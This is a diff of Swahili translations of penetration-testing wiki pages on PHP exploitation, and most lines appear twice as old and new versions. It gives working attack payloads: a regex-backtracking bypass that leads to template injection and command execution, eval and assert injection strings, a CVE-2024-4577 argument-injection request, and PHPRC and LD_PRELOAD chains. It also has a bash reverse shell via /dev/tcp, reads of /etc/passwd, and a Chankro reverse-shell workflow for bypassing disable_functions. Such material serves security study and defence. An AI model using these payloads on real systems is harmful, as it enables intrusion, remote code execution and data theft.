From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
#### ReDoS Bypass
Trick kutoka: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) na [https://mizu.re/post/pong](https://mizu.re/post/pong)
Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP inategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo cha idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kimewekwa kuwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa katika stack.
Kwa kifupi, tatizo linatokea kwa sababu ya `preg_*` functions katika PHP zinategemea [PCRE library](http://www.pcre.org/). Katika PCRE, baadhi ya regular expressions zinapatikana kwa kutumia wito mwingi wa recursive, ambayo inatumia nafasi kubwa ya stack. Inawezekana kuweka kikomo cha idadi ya recursions zinazoruhusiwa, lakini katika PHP kikomo hiki [kimewekwa kuwa 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ambacho ni zaidi ya kinachoweza kuwekwa katika stack.
[Thread hii ya Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) pia ilihusishwa katika chapisho ambapo inazungumziwa kwa undani zaidi kuhusu tatizo hili. Kazi yetu sasa ilikuwa wazi:\
**Tuma input ambayo itafanya regex ifanye 100_000+ recursions, ikisababisha SIGSEGV, na kufanya `preg_match()` function irejee `false` hivyo kufanya programu ifikirie kuwa input yetu si ya uhalifu, ikitupa mshangao mwishoni mwa payload kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> flag :)**.
**Tuma input ambayo itafanya regex ifanye recursions 100_000+, ikisababisha SIGSEGV, na kufanya `preg_match()` function irudishe `false` hivyo kufanya programu ifikirie kwamba input yetu si mbaya, ikitupa mshangao mwishoni mwa payload kama `{system(<verybadcommand>)}` ili kupata SSTI --> RCE --> flag :)**.
Vizuri, katika masharti ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema, inarudi kwa 1_000_000 (1M) katika variable `pcre.backtrack_limit`.\
Vizuri, katika maneno ya regex, hatufanyi kweli 100k "recursions", bali tunahesabu "backtracking steps", ambayo kama [nyaraka za PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) zinavyosema, inarudi kwa 1_000_000 (1M) katika variable `pcre.backtrack_limit`.\
Ili kufikia hiyo, `'X'*500_001` itasababisha hatua milioni moja za backtracking (500k mbele na 500k nyuma):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -153,17 +151,17 @@ Check:
## More tricks
- **register_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register_globals** inaweza kuwa hai (au tabia yao inajirudia). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani e.g. $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Hivyo, kwa kutuma vigezo vya HTTP unaweza kuandika upya mabadiliko\*\* yanayotumika ndani ya msimbo.
- **register_globals**: Katika **PHP < 4.1.1.1** au ikiwa imewekwa vibaya, **register_globals** inaweza kuwa hai (au tabia zao zinaweza kuigwa). Hii ina maana kwamba katika mabadiliko ya kimataifa kama $\_GET ikiwa yana thamani e.g. $\_GET\["param"]="1234", unaweza kuyafikia kupitia **$param. Hivyo, kwa kutuma vigezo vya HTTP unaweza kubadilisha mabadiliko** yanayotumika ndani ya msimbo.
- **Cookies za PHPSESSION za eneo moja zinahifadhiwa mahali pamoja**, hivyo ikiwa ndani ya eneo **cookies tofauti zinatumika katika njia tofauti** unaweza kufanya njia hiyo **ifikie cookie ya njia** kwa kuweka thamani ya cookie ya njia nyingine.\
Kwa njia hii ikiwa **njia zote mbili zinapata mabadiliko yenye jina sawa** unaweza kufanya **thamani ya mabadiliko hayo katika path1 itumike kwa path2**. Na kisha path2 itachukulia kama halali mabadiliko ya path1 (kwa kutoa cookie jina linalolingana nayo katika path2).
Kwa njia hii ikiwa **njia zote mbili zinapata mabadiliko yenye jina sawa** unaweza kufanya **thamani ya mabadiliko hayo katika path1 itumike kwa path2**. Na kisha path2 itachukulia kama halali mabadiliko ya path1 (kwa kutoa cookie jina linalolingana nalo katika path2).
- Unapokuwa na **majina ya watumiaji** wa mashine. Angalia anwani: **/\~\<USERNAME>** ili kuona ikiwa saraka za php zimewezeshwa.
- Ikiwa usanidi wa php una **`register_argc_argv = On`** basi vigezo vya uchunguzi vilivyotenganishwa na nafasi vinatumika kujaza orodha ya vigezo **`array_keys($_SERVER['argv'])`** kama vile vilikuwa **vigezo kutoka CLI**. Hii ni ya kuvutia kwa sababu ikiwa **usimamizi huo umezimwa**, thamani ya **args array itakuwa `Null`** wakati inaitwa kutoka mtandao kwani orodha ya ars haitajazwa. Hivyo, ikiwa ukurasa wa wavuti unajaribu kuangalia ikiwa unafanya kazi kama zana ya wavuti au kama zana ya CLI kwa kulinganisha kama `if (empty($_SERVER['argv'])) {` mshambuliaji anaweza kutuma **vigezo katika ombi la GET kama `?--configPath=/lalala`** na itafikiri inafanya kazi kama CLI na inaweza kuchambua na kutumia vigezo hivyo. Maelezo zaidi katika [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
- Ikiwa usanidi wa php una **`register_argc_argv = On`** basi vigezo vya uchunguzi vilivyotenganishwa kwa nafasi vinatumika kujaza orodha ya vigezo **`array_keys($_SERVER['argv'])`** kama vile vilikuwa **vigezo kutoka kwa CLI**. Hii ni ya kuvutia kwa sababu ikiwa **usimamizi huo uko off**, thamani ya **args array itakuwa `Null`** wakati inaitwa kutoka kwenye wavuti kwani orodha ya ars haitajazwa. Hivyo, ikiwa ukurasa wa wavuti unajaribu kuangalia ikiwa unafanya kazi kama wavuti au kama chombo cha CLI kwa kulinganisha kama `if (empty($_SERVER['argv'])) {` mshambuliaji anaweza kutuma **vigezo katika ombi la GET kama `?--configPath=/lalala`** na itafikiri inafanya kazi kama CLI na inaweza kuchambua na kutumia vigezo hivyo. Maelezo zaidi katika [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
Hizi kazi kawaida hutumiwa katika PHP ili **kuunda hash kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD_DEFAULT mara nyingi ni sawa na PASSWORD_BCRYPT.** Na kwa sasa, **PASSWORD_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuunda hash ya kitu kikubwa kuliko 72bytes kwa kutumia algorithimu hii, ni kwamba tu 72B za kwanza zitatumika:
Hizi kazi kawaida hutumiwa katika PHP ili **kuunda hashes kutoka kwa nywila** na **kuangalia** ikiwa nywila ni sahihi ikilinganishwa na hash.\
Mifumo inayoungwa mkono ni: `PASSWORD_DEFAULT` na `PASSWORD_BCRYPT` (inaanza na `$2y$`). Kumbuka kwamba **PASSWORD_DEFAULT mara nyingi ni sawa na PASSWORD_BCRYPT.** Na kwa sasa, **PASSWORD_BCRYPT** ina **kikomo cha ukubwa katika ingizo cha 72bytes**. Hivyo, unapojaribu kuhash kitu kikubwa kuliko 72bytes kwa kutumia algorithimu hii, ni kwamba 72B za kwanza tu zitatumika:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -175,7 +173,7 @@ True
#### Causing error after setting headers
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) unaweza kuona kwamba kutuma zaidi ya 1000 GET params au 1000 POST params au 20 files, PHOP haitakuwa ikipanga headers katika jibu.
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) unaweza kuona kwamba kutuma zaidi ya 1000 GET params au 1000 POST params au 20 files, PHP haitakuwa ikipanga headers katika jibu.
Inaruhusu kupita kwa mfano headers za CSP zinazowekwa katika codes kama:
```php
@ -185,7 +183,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Kujaza mwili kabla ya kuweka vichwa
Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maoni yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu ya kutosha** ili wakati inajaribu **kuongeza vichwa** kwenye jibu, seva itatupa makosa.\
Ikiwa **ukurasa wa PHP unachapisha makosa na kurudisha baadhi ya maoni yaliyotolewa na mtumiaji**, mtumiaji anaweza kufanya seva ya PHP irudishe **maudhui marefu** kiasi kwamba inapojaribu **kuongeza vichwa** kwenye jibu, seva itatupa makosa.\
Katika hali ifuatayo, **mshambuliaji alifanya seva itupe makosa makubwa**, na kama unavyoona kwenye skrini wakati php ilijaribu **kubadilisha taarifa za kichwa, haikuweza** (hivyo kwa mfano kichwa cha CSP hakikutumwa kwa mtumiaji):
![](<../../../images/image (1085).png>)
@ -211,8 +209,8 @@ php-ssrf.md
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Ili kutekeleza msimbo katika "replace" inahitajika angalau mechi moja.\
Chaguo hili la preg_replace limekuwa **deprecated kuanzia PHP 5.5.0.**
Ili kutekeleza msimbo katika "replace" hoja inahitaji angalau mechi moja.\
Chaguo hili la preg_replace limekuwa **limeondolewa kuanzia PHP 5.5.0.**
### **RCE kupitia Eval()**
```
@ -229,11 +227,11 @@ Kazi hii ndani ya php inakuwezesha **kutekeleza msimbo ulioandikwa katika mfuata
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Unahitaji **kuvunja** sintaksia ya **kanuni**, **kuongeza** payload yako, na kisha **kuirekebisha tena**. Unaweza kutumia **operesheni za mantiki** kama "**na" au "%26%26" au "|"**. Kumbuka kwamba "au", "||" hazifanyi kazi kwa sababu ikiwa hali ya kwanza ni ya kweli payload yetu haitatekelezwa. Njia ile ile ";" haitafanya kazi kwani payload yetu haitatekelezwa.
Unahitaji **kuvunja** sintaksia ya **kanuni**, **kuongeza** payload yako, na kisha **kuirekebisha tena**. Unaweza kutumia **operesheni za mantiki** kama "**na" au "%26%26" au "|"**. Kumbuka kwamba "au", "||" haitafanya kazi kwa sababu ikiwa hali ya kwanza ni ya kweli payload yetu haitatekelezwa. Kwa njia ile ile ";" haitafanya kazi kwani payload yetu haitatekelezwa.
**Chaguo lingine** ni kuongeza kwenye mfuatano utekelezaji wa amri: `'.highlight_file('.passwd').'`
**Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya vigezo ili kubadilisha utekelezaji: `$file = "hola"`
**Chaguo lingine** (ikiwa una kanuni ya ndani) ni kubadilisha baadhi ya mabadiliko ili kubadilisha utekelezaji: `$file = "hola"`
### **RCE kupitia usort()**
@ -263,12 +261,12 @@ You can also use **//** kuandika maoni ya sehemu nyingine ya msimbo.
Ili kugundua idadi ya mabano unahitaji kufunga:
- `?order=id;}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ';'`). Huenda tunakosa moja au zaidi ya mabano.
- `?order=id);}//`: tunapata **onyo**. Hii inaonekana kuwa sawa.
- `?order=id);}//`: tunapata **onyo**. Hiyo inaonekana sawa.
- `?order=id));}//`: tunapata ujumbe wa kosa (`Parse error: syntax error, unexpected ')' i`). Huenda tuna mabano mengi ya kufunga.
### **RCE kupitia .httaccess**
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **kuweka** mambo kadhaa na hata kutekeleza msimbo (kuweka kwamba faili zenye kiendelezi .htaccess zinaweza **kutekelezwa**).
Ikiwa unaweza **kupakia** **.htaccess**, basi unaweza **kuunda** mambo kadhaa na hata kutekeleza msimbo (kuunda kwamba faili zenye kiambishi .htaccess zinaweza **kutekelezwa**).
Mifumo tofauti ya .htaccess inaweza kupatikana [hapa](https://github.com/wireghoul/htshells)
@ -276,11 +274,11 @@ Mifumo tofauti ya .htaccess inaweza kupatikana [hapa](https://github.com/wiregho
Ikiwa unapata udhaifu unaokuruhusu **kubadilisha env variables katika PHP** (na nyingine moja ya kupakia faili, ingawa kwa utafiti zaidi huenda hii ikapita), unaweza kutumia tabia hii kupata **RCE**.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hii env variable inaruhusu kupakia maktaba zisizo za kawaida unapotekeleza binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
- **`PHPRC`** : Inatoa maagizo kwa PHP kuhusu **wapi kupatikana faili lake la usanidi**, ambalo kawaida huitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwa hiyo. Ongeza **`auto_prepend_file`** kuingiza ikielekeza faili ya pili iliyopakiwa. Faili hii ya pili ina **PHP code ya kawaida, ambayo kisha inatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hii env variable inakuruhusu kupakia maktaba zisizo za kawaida unapotekeleza binaries nyingine (ingawa katika kesi hii huenda isifanye kazi).
- **`PHPRC`** : Inatoa maagizo kwa PHP kuhusu **mahali pa kupata faili yake ya usanidi**, ambayo kwa kawaida inaitwa `php.ini`. Ikiwa unaweza kupakia faili yako ya usanidi, basi, tumia `PHPRC` kuonyesha PHP kwa hiyo. Ongeza **`auto_prepend_file`** kuingia ikielekeza faili ya pili iliyopakiwa. Faili hii ya pili ina msimbo wa kawaida wa **PHP, ambao kisha unatekelezwa** na PHP runtime kabla ya msimbo mwingine wowote.
1. Pakia faili ya PHP yenye shellcode yetu
2. Pakia faili ya pili, yenye **`auto_prepend_file`** ikielekeza preprocessor ya PHP kutekeleza faili tulilopakia katika hatua ya 1
3. Weka variable `PHPRC` kwa faili tulilopakia katika hatua ya 2.
2. Pakia faili ya pili, yenye **`auto_prepend_file`** maagizo ikielekeza preprocessor ya PHP kutekeleza faili tuliyopakia katika hatua ya 1
3. Weka variable ya `PHPRC` kwa faili tuliyopakia katika hatua ya 2.
- Pata maelezo zaidi kuhusu jinsi ya kutekeleza mnyororo huu [**kutoka kwa ripoti ya asili**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
- **PHPRC** - chaguo jingine
- Ikiwa **huwezi kupakia faili**, unaweza kutumia katika FreeBSD "faili" `/dev/fd/0` ambayo ina **`stdin`**, ikiwa ni **mwili** wa ombi lililotumwa kwa `stdin`:
@ -295,7 +293,7 @@ Webserver inachambua maombi ya HTTP na kuyapeleka kwa script ya PHP inayotekelez
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
Zaidi ya hayo, inawezekana kuingiza param "- " kwa kutumia herufi 0xAD kutokana na urekebishaji wa baadaye wa PHP. Angalia mfano wa exploit kutoka [**hiki chapisho**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
Zaidi ya hayo, inawezekana kuingiza param "- " kwa kutumia herufi 0xAD kutokana na urekebishaji wa PHP baadaye. Angalia mfano wa exploit kutoka [**hiki posti**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@ -325,7 +323,7 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Ikiwa unarekebisha programu ya PHP unaweza kuwezesha uchapishaji wa makosa kwa kiwango cha juu katika`/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache: `sudo systemctl restart apache2`
Ikiwa unarekebisha programu ya PHP unaweza kuwezesha uchapishaji wa makosa kwa ujumla katika`/etc/php5/apache2/php.ini` kwa kuongeza `display_errors = On` na kuanzisha upya apache: `sudo systemctl restart apache2`
### Kuondoa ufichaji wa msimbo wa PHP
@ -351,7 +349,7 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE ikitumia mpya $\_GET\["a"]\($\_GET\["b")
## RCE kutumia mpya $\_GET\["a"]\($\_GET\["b"])
Ikiwa katika ukurasa unaweza **kuunda kitu kipya cha darasa lolote** unaweza kuwa na uwezo wa kupata RCE, angalia ukurasa ufuatao kujifunza jinsi:
@ -383,7 +381,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Hivyo, ikiwa unaweza **kutekeleza PHP isiyo na mpangilio bila nambari na herufi** unaweza kutuma ombi kama ifuatavyo ukitumia mzigo huo kutekeleza PHP isiyo na mpangilio:
Hivyo, ikiwa unaweza **kutekeleza PHP isiyo na nambari na herufi** unaweza kutuma ombi kama ifuatavyo ukitumia payload hiyo kutekeleza PHP isiyo na mipaka:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

View File

@ -1,4 +1,4 @@
# PHP - Kazi za Kusaidia & disable_functions/open_basedir bypass
# PHP - Kazi za Kusaidia & kupita disable_functions/open_basedir
{{#include ../../../../banners/hacktricks-training.md}}
@ -16,7 +16,7 @@ echo exec("uname -a");
```bash
echo passthru("uname -a");
```
**system** - Inapitisha matokeo ya amri moja kwa moja kwa kivinjari na inarudisha mstari wa mwisho
**system** - Inapitisha matokeo ya amri moja kwa moja kwa kivinjari na kurudisha mstari wa mwisho
```bash
echo system("uname -a");
```
@ -40,19 +40,19 @@ proc_close(proc_open("uname -a",array(),$something));
```php
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
```
**pcntl_exec** - Inatekeleza programu (kwa kawaida katika PHP za kisasa na zisizo za kisasa unahitaji kupakia moduli ya `pcntl.so` ili kutumia kazi hii)
**pcntl_exec** - Inatekeleza programu (kwa default katika PHP za kisasa na zisizo za kisasa unahitaji kupakia moduli ya `pcntl.so` ili kutumia kazi hii)
```bash
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
```
**mail / mb_send_mail** - Kazi hii inatumika kutuma barua pepe, lakini inaweza pia kutumika vibaya kuingiza amri zisizo za kawaida ndani ya parameter ya `$options`. Hii ni kwa sababu **php `mail` function** kawaida inaita `sendmail` binary ndani ya mfumo na inaruhusu kuweka **chaguzi za ziada**. Hata hivyo, huwezi kuona matokeo ya amri iliyotekelezwa, hivyo inashauriwa kuunda script ya shell inayandika matokeo kwenye faili, kuitekeleza kwa kutumia barua pepe, na kuchapisha matokeo:
**mail / mb_send_mail** - Hii kazi inatumika kutuma barua pepe, lakini pia inaweza kutumika vibaya kuingiza amri zisizo za kawaida ndani ya parameter ya `$options`. Hii ni kwa sababu **php `mail` function** kawaida inaita `sendmail` binary ndani ya mfumo na inaruhusu kuweka **chaguzi za ziada**. Hata hivyo, huwezi kuona matokeo ya amri iliyotekelezwa, hivyo inashauriwa kuunda script ya shell inayandika matokeo kwenye faili, kuitekeleza kwa kutumia barua pepe, na kuchapisha matokeo:
```bash
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
```
**dl** - Kazi hii inaweza kutumika kupakia upanuzi wa PHP kwa njia ya kidinamik. Kazi hii haitakuwepo kila wakati, hivyo unapaswa kuangalia kama inapatikana kabla ya kujaribu kuifanyia shambulio. Soma [ukurasa huu kujifunza jinsi ya kutumia kazi hii](disable_functions-bypass-dl-function.md).
**dl** - Hii kazi inaweza kutumika kupakia kiendelezi cha PHP kwa njia ya kidinamik. Hii kazi haitakuwepo kila wakati, hivyo unapaswa kuangalia kama inapatikana kabla ya kujaribu kuifanyia shambulio. Soma [ukurasa huu kujifunza jinsi ya kutumia shambulio kwenye kazi hii](disable_functions-bypass-dl-function.md).
### PHP Code Execution
Mbali na eval, kuna njia nyingine za kutekeleza msimbo wa PHP: include/require zinaweza kutumika kwa utekelezaji wa msimbo wa mbali katika mfumo wa Local File Include na Remote File Include vulnerabilities.
Mbali na eval kuna njia nyingine za kutekeleza msimbo wa PHP: include/require zinaweza kutumika kwa utekelezaji wa msimbo wa mbali katika mfumo wa udhaifu wa Local File Include na Remote File Include.
```php
${<php code>} // If your input gets reflected in any PHP string, it will be executed.
eval()
@ -85,12 +85,12 @@ Mipangilio yote inaweza kuonekana katika matokeo ya **`phpinfo()`**:
## open_basedir Bypass
`open_basedir` itapangilia folda ambazo PHP inaweza kufikia, hu **wezi kuandika/soma/kutekeleza faili yoyote nje** ya folda hizo, lakini pia hu **wezi hata kuorodhesha** saraka nyingine.\
`open_basedir` itapangilia folda ambazo PHP inaweza kufikia, huwezi **kuweza kuandika/soma/kutekeleza faili yoyote nje** ya folda hizo, lakini pia huwezi **hata kuweza kuorodhesha** saraka nyingine.\
Hata hivyo, ikiwa kwa namna fulani unaweza kutekeleza msimbo wa PHP wa kawaida unaweza **jaribu** kipande hiki cha **codes** kujaribu **bypass** kikomo hicho.
### Kuorodhesha saraka kwa glob:// bypass
### Listing dirs with glob:// bypass
Katika mfano huu wa kwanza, itifaki ya `glob://` na njia fulani ya bypass inatumika:
Katika mfano huu wa kwanza, itifaki ya `glob://` pamoja na njia fulani ya bypass inatumika:
```php
<?php
$file_list = array();
@ -111,10 +111,10 @@ echo "{$f}<br/>";
**Note2**: Inaonekana kama sehemu ya msimbo imejirudia, lakini hiyo ni muhimu!\
**Note3**: Mfano huu ni wa manufaa tu kuorodhesha folda si kusoma faili
### Kukwepa open_basedir kwa kutumia FastCGI
### Kamilisha open_basedir bypass kwa kutumia FastCGI
Ikiwa unataka **kujifunza zaidi kuhusu PHP-FPM na FastCGI** unaweza kusoma [sehemu ya kwanza ya ukurasa huu](disable_functions-bypass-php-fpm-fastcgi.md).\
Ikiwa **`php-fpm`** imewekwa unaweza kuitumia kuweza kukwepa kabisa **open_basedir**:
Ikiwa **`php-fpm`** imewekwa unaweza kuitumia kuondoa kabisa **open_basedir**:
![](<../../../../images/image (545).png>)
@ -472,17 +472,17 @@ $params = array(
echo $client->request($params, $code)."\n";
?>
```
Hii skripti itawasiliana na **unix socket ya php-fpm** (kawaida iko katika /var/run ikiwa fpm inatumika) ili kutekeleza msimbo wowote. Mipangilio ya `open_basedir` itabadilishwa na sifa ya **PHP_VALUE** inayotumwa.\
Kumbuka jinsi `eval` inavyotumika kutekeleza msimbo wa PHP unayotuma ndani ya **cmd** parameter.\
Hii scripts itawasiliana na **unix socket ya php-fpm** (kawaida iko katika /var/run ikiwa fpm inatumika) ili kutekeleza msimbo wa kiholela. Mipangilio ya `open_basedir` itabadilishwa na sifa ya **PHP_VALUE** inayotumwa.\
Kumbuka jinsi `eval` inavyotumika kutekeleza msimbo wa PHP unayotuma ndani ya parameter ya **cmd**.\
Pia kumbuka **mstari wa 324 ulio na maoni**, unaweza kuondoa maoni na **payload itajihusisha moja kwa moja na URL iliyotolewa na kutekeleza msimbo wa PHP** ulio ndani yake.\
Fikia tu `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` ili kupata maudhui ya faili ya `/etc/passwd`.
> [!WARNING]
> Unaweza kufikiria kwamba kwa njia ile ile tulivyoandika upya mipangilio ya `open_basedir` tunaweza **kuandika upya `disable_functions`**. Vizuri, jaribu, lakini haitafanya kazi, kwa sababu inaonekana **`disable_functions` inaweza kuandikwa tu katika faili ya mipangilio ya `.ini` php** na mabadiliko unayofanya kwa kutumia PHP_VALUE hayatakuwa na ufanisi kwenye mipangilio hii maalum.
> Unaweza kufikiria kwamba kwa njia ile ile tulivyo badilisha usanidi wa `open_basedir` tunaweza **kubadilisha `disable_functions`**. Vizuri, jaribu, lakini haitafanya kazi, kwa sababu inaonekana **`disable_functions` inaweza kuwekwa tu katika faili ya usanidi ya `.ini` ya php** na mabadiliko unayofanya kwa kutumia PHP_VALUE hayatakuwa na ufanisi kwenye usanidi huu maalum.
## disable_functions Bypass
Ikiwa unafanikiwa kuwa na msimbo wa PHP ukitekelezwa ndani ya mashine, huenda unataka kwenda kwenye kiwango kinachofuata na **kutekeleza amri za mfumo zisizo na mipaka**. Katika hali hii ni kawaida kugundua kwamba nyingi au zote za **functions** za PHP zinazoruhusu **kutekeleza amri za mfumo zimezuiliwa** katika **`disable_functions`.**\
Ikiwa unapata kuwa na msimbo wa PHP unatekelezwa ndani ya mashine, huenda unataka kwenda kwenye kiwango kingine na **kutekeleza amri za mfumo za kiholela**. Katika hali hii ni kawaida kugundua kwamba nyingi au zote za **functions** za PHP zinazoruhusu **kutekeleza amri za mfumo zimezuiliwa** katika **`disable_functions`.**\
Hivyo, hebu tuone jinsi unavyoweza kupita kizuizi hiki (ikiwa unaweza)
### Automatic bypass discovery
@ -491,11 +491,11 @@ Unaweza kutumia chombo [https://github.com/teambi0s/dfunc-bypasser](https://gith
### Bypassing using other system functions
Rudi tu mwanzo wa ukurasa huu na **angalia ikiwa yoyote ya functions zinazotekeleza amri haijazuiliwa na inapatikana katika mazingira**. Ikiwa unapata moja tu kati yao, utaweza kuitumia kutekeleza amri za mfumo zisizo na mipaka.
Rudi tu mwanzo wa ukurasa huu na **angalia ikiwa yoyote ya functions zinazotekeleza amri haijazuiliwa na inapatikana katika mazingira**. Ikiwa unapata moja tu kati yao, utaweza kuitumia kutekeleza amri za mfumo za kiholela.
### LD_PRELOAD bypass
Inajulikana kwamba baadhi ya functions katika PHP kama `mail()` zitafanya **kutekeleza binaries ndani ya mfumo**. Kwa hivyo, unaweza kuzitumia vibaya kwa kutumia variable ya mazingira `LD_PRELOAD` ili kufanya zipakue maktaba yoyote inayoweza kutekeleza chochote.
Inajulikana kwamba baadhi ya functions katika PHP kama `mail()` zitafanya **kutekeleza binaries ndani ya mfumo**. Kwa hivyo, unaweza kuzitumia vibaya kwa kutumia variable ya mazingira `LD_PRELOAD` ili kufanya zipakue maktaba ya kiholela ambayo inaweza kutekeleza chochote.
#### Functions that can be used to bypass disable_functions with LD_PRELOAD
@ -506,7 +506,7 @@ Inajulikana kwamba baadhi ya functions katika PHP kama `mail()` zitafanya **kute
- **`gnupg_init`**: Inaweza kutumika ikiwa moduli ya `php-gnupg` imewekwa.
- **`new imagick()`**: Darasa hili linaweza kutumika vibaya ili kupita vizuizi. Mbinu za kina za unyakuzi zinaweza kupatikana katika [**andiko hapa**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/).
Unaweza [**kupata hapa**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) skripti ya fuzzing iliyotumika kupata hizo functions.
Unaweza [**kupata hapa**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) script ya fuzzing ambayo ilitumika kupata hizo functions.
Hapa kuna maktaba unaweza kuunda ili kutumia variable ya mazingira ya `LD_PRELOAD`:
```php
@ -523,11 +523,11 @@ return 1;
```
#### Bypass using Chankro
Ili kutumia vibaya usanidi huu mbaya unaweza [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Hii ni zana ambayo itaunda **PHP exploit** ambayo unahitaji kupakia kwenye seva iliyo hatarini na kuitekeleza (fikia kupitia wavuti).\
**Chankro** itaandika ndani ya diski za waathirika **maktaba na reverse shell** unayotaka kutekeleza na itatumia **`LD_PRELOAD` trick + PHP `mail()`** kazi ili kutekeleza reverse shell.
Ili kutumia vibaya usanidi huu mbovu unaweza [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Hii ni zana ambayo itaunda **PHP exploit** ambayo unahitaji kupakia kwenye seva iliyo hatarini na kuitekeleza (fikia kupitia wavuti).\
**Chankro** itaandika ndani ya diski ya waathirika **maktaba na reverse shell** unayotaka kutekeleza na itatumia **`LD_PRELOAD` trick + PHP `mail()`** function kutekeleza reverse shell.
Kumbuka kwamba ili kutumia **Chankro**, `mail` na `putenv` **haziwezi kuonekana ndani ya orodha ya `disable_functions`**.\
Katika mfano ufuatao unaweza kuona jinsi ya **kuunda chankro exploit** kwa **arch 64**, ambayo itatekeleza `whoami` na kuokoa matokeo katika _/tmp/chankro_shell.out_, chankro it **andika maktaba na payload** katika _/tmp_ na **exploit ya mwisho** itaitwa **bicho.php** (hiyo ndiyo faili unahitaji kupakia kwenye seva za waathirika):
